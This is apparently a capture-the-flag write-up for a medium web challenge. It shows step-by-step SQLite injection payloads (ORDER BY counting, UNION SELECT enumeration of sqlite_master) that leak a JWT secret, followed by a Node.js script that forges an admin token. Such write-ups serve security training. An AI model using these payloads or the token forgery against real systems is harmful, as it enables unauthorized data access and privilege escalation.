Skip to content

writeup furhire

weekly challenge: 10/01/26 - 17/01/26

  • 🟡 difficulty: medium
  • xp earned: 50
  • 📂 categories: api
  • 🛠️ vulns: sqlite injection

0x00: recon

  • opening the webapp, we see two options: login as a job seeker and login as a recruiter

    login

  • creating our job seeker user, we can improve our profile and access the dashboard

    dash

  • when we look for jobs, there's made some requests to /api/jobs/<id> and /api/jobs?search= endpoints.

    alt text

0x02: fuzzing

  • testing for sql injection on both endpoints, we discover that /api/jobs/<id> endpoint is vulnerable with the payload: 1 or 1=1-- (probably sqlite database)

    sqli

  • we can start with order by queries and try to find out how many columns exists on that table. after try for a while, we discover there exists 16 columns. payload: 1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

    columns

  • now, with a union select query, we can extract informations from that table and from another tables. before this, lets confirm that we are really in a sqlite database. payload: 1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,sqlite_version(),16--

    version

  • discovering all tables. payload: 1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(tbl_name) FROM sqlite_master WHERE type='table'--

    tables

  • discovering columns of config table. payload: 1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,MAX(sql) FROM sqlite_master WHERE tbl_name='config'--

    config

  • from the key column, we discover the jwt secret. now, we can write a script to generate an admin jwt and finally take the flag. payload: 1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,key||':'||value FROM config--

    key

0x03: show me the flag

  • our script can be something like this:

    const jwt = require('jsonwebtoken')
    const secret = 'phonesCheeseTiramisu1199'
    
    let payload = {
        "id": 6,
        "username": "ghu",
        "role": "admin",
        "iat": 1768580027
    }
    
    console.log(jwt.sign(payload, secret))
    
    - writing the jwt at the local storage, we take the flag:

    flag